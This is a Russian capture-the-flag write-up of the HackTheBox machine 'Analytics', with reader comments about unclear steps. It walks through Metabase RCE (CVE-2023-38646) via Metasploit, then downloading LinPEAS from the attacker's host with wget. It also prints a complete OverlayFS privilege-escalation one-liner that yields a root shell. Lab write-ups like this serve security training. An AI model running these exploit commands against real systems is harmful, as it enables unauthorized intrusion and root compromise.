Приветствую, кулхацкеры. Сегодяшний райт будет посвящен взлом Linux - машины с HackTheBox под названием Analytics.
![](https://habrastorage.org/getpro/habr/upload_files/f39/7c8/73e/f397c873e1cb67d4770b1c992e6c84f2.png)
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Сканирование и разведка
Как всегда начинаем со сканирования для выявления активных сервисов.
nmap -sC -sV -Pn -p- -T4 10.10.11.233
![](https://habrastorage.org/getpro/habr/upload_files/bca/f48/913/bcaf4891389d0c01e11c5db9f3caebea.png)
Получаем первичный доступ с помощью Metasploit
По результатам сканирования можно заметить, что на 80 порту висит веб-сервис. Попробуем перейти на веб страницу:
![](https://habrastorage.org/getpro/habr/upload_files/15c/812/87c/15c81287ce0f25565edb2e85975b17a2.png)
Это Metabase. Посерфив на просторах интернета, найдем для него эксплойт. Уязвимость имеет идентификатор CVE-2023-38646 и приводит к удаленному исполнению кода. Как раз то, что нужно для получения первичного доступа. Эксплойт можно найти как на GitHub, так и в Metasploit. Лично я запущу эксплойт в Metasploit:
![](https://habrastorage.org/getpro/habr/upload_files/bb7/beb/82e/bb7beb82ed8ef692cb58e02bbf1b031e.png)
use exploit/linux/http/metabase_setup_token_rce
![](https://habrastorage.org/getpro/habr/upload_files/be2/82b/966/be282b966d5ebfae7119023091204a19.png)
Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС python3 http.server
и через wget
скачаем нужный нам скрипт:
python3 -m http.server 80
![](https://habrastorage.org/getpro/habr/upload_files/892/4fe/bd4/8924febd4fd01e9b340550b35f964938.png)
wget http://10.10.16.68/linpeas.sh
![](https://habrastorage.org/getpro/habr/upload_files/1b9/9f6/d8f/1b99f6d8f3d7bf46d0f86416d68b92d7.png)
Запустим LinPEAS:
bash ./linpeas.sh
Отработав, скрипт найдет креды для подключения по SSH:
![](https://habrastorage.org/getpro/habr/upload_files/cf1/fee/484/cf1fee484ecf2b71020424f239dbb722.png)
Подключимся к машине с помощью ssh
:
ssh metalytics@10.10.11.233
![](https://habrastorage.org/getpro/habr/upload_files/0e4/cde/3ef/0e4cde3ef096c12519214bdd0bd7eb58.png)
![](https://habrastorage.org/getpro/habr/upload_files/56c/ed0/a84/56ced0a848a2d38a544e74487b49db19.png)
Здесь же будет находиться флаг user.txt
![](https://habrastorage.org/getpro/habr/upload_files/21c/f15/893/21cf158933ba06c18ab89a6c409e3775.png)
Повышение привилегий
Точно также запустим python3 http.server
, перекинем через wget
LinPEAS и запустим его на машине:
![](https://habrastorage.org/getpro/habr/upload_files/fa3/710/e19/fa3710e19318ffa82b147a166ed5eff8.png)
![](https://habrastorage.org/getpro/habr/upload_files/180/d6f/653/180d6f653f57703b2bdc3eb0cb95a20f.png)
После отработки скрипта определим версию Ubuntu и найдем под нее уязвимость для повышения привилегий. Либо можно определить версию ОС с помощью cat /etc/os-release
. Уязвимость для повышения привилегий связана с расхождениями в реализации модуля OverlayFS в ядре Linux. OverlayFS - это реализация файловой системы с объединенным монтированием, которая становится предметом внимания злоумышленников из-за возможности получения непривилегированного доступа через пространства имен пользователей и наличия легко эксплуатируемых ошибок. Скопируем нагрузку с эксплойта и запустим ее для повышения привилегий:
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
![](https://habrastorage.org/getpro/habr/upload_files/ee7/f46/fac/ee7f46fac0ef86112d9d1b1184bb08f9.png)
Машина пройдена!
3ycb
А если бы не было этого сервиса на машине, то что?
ap_security Автор
то не было бы и самой машины)
в данном случае первичный доступ только через этот сервис
3ycb
Спасибо за ответ. Я спросил без подвоха. Я обычный обыватель, не IT и спрашиваю, чтобы уяснить. Это было задание на проникновение с определенным сервисом на борту? Не просто на любую произвольную Линукс систему? Правильно?
ap_security Автор
все верно
3ycb
Не сочтите за занудство, я не настоящий сварщик. Несколько раз перечитываю Вашу статью и не въезжаю. Уточните пожалуйста, что я неправильно понимаю.
Целевая, подопытная машина
10.10.11.234 которую Вы сканируете на предмет открытых портов с машины(kali) 10.10.16.68 и находите на ней вебсервис
Metabase, для которого есть эксплоит.
Запускаете эксплойт где? На Вашей "хакерской" машине
kali-10.10.16.68 через порт 4444 для доступа к целевой машине? Тогда почему на картинке Вы к другой машине 10.10.11.233 обращаетесь? А если этот порт 4444 закрыт вообще? Или я вообще не правильно все понимаю?
Далее, я вообще потерялся. "Для дальнейшего продвижения нам нужно закинуть на машину LinPEAS для обнаружения способов повышения привилегий. Поэтому запустим на нашей ОС
python3 http.server
и черезwget
скачаем нужный нам скрипт:" На какую машину закинуть LinPEAS? На своюkali
или машину жертву? Поэтому, где запускаем http.server? Наkali? и качаем через wget http://10.10.16.68/linpeas.sh, но ведь kali и есть 10.10.16.68 Сами себе качаем что-ли? Вы бы как-то отредактировали бы пост, чтобы не было разночтений и непонимания, что есть что(но с поправкой, что я неправильно все понимаю)
Отработав, скрипт найдет креды для подключения по SSH: Что такое креды?
Далее есть еще вопросы, но пожалуйста сначала эти разъясните.
ap_security Автор
да был небольшой недочет. Мы обращаемся к машине по адресу 10.10.11.233! Чтобы отпали ваши вопросы, почитайте как работает wget. И зачем нам запускать LinPEAS на своей машине? Зачем нам повышать привилегии на своей же машине? Ознакомьтесь с базовыми понятиями и работой сетевых технологий
3ycb
Базовые понятия я знаю и как wget работает тоже. Не понятно Ваше описание. И что такое креды? Вы же для людей пишите, а не на отъебись. Вы свой сленг знаете, а читатель нет. Почему нельзя общепринятыми терминами изъясняться?
3ycb
Вот я и отмечаю. У Вас это не явно указано. Отсюда каша.
Наша ОС, это наша машина или машина жертва? Ведь наша же, kali которая.
и сразу, в этом же предложении "И скачаем скрипт" Но скрипт нужен на жертве же? A как мы уже на жертве можем запускать wget? Мы уже на ней? Как? Когда? Где это у Вас явно отмечено? Как мы запускаем
wget http://10.10.16.68/linpeas.sh на жертве, если мы еще к ней не подключены по ssh?
И Вы не ответили про порт 4444. Он на жертве открыт? или что? А если закрыт, то как на жертву пробросить эксплойт?
3ycb
Наверное файл, а не флаг? И файл будет(что делатЬ) находитЬся.
Или Вы имели в виду, "Здесь же находится файл...", без слова будет?
И что? Что это за файл такой user.txt? Зачем вы его упомянули? Если он нужен зачем-то, то объясните, зачем?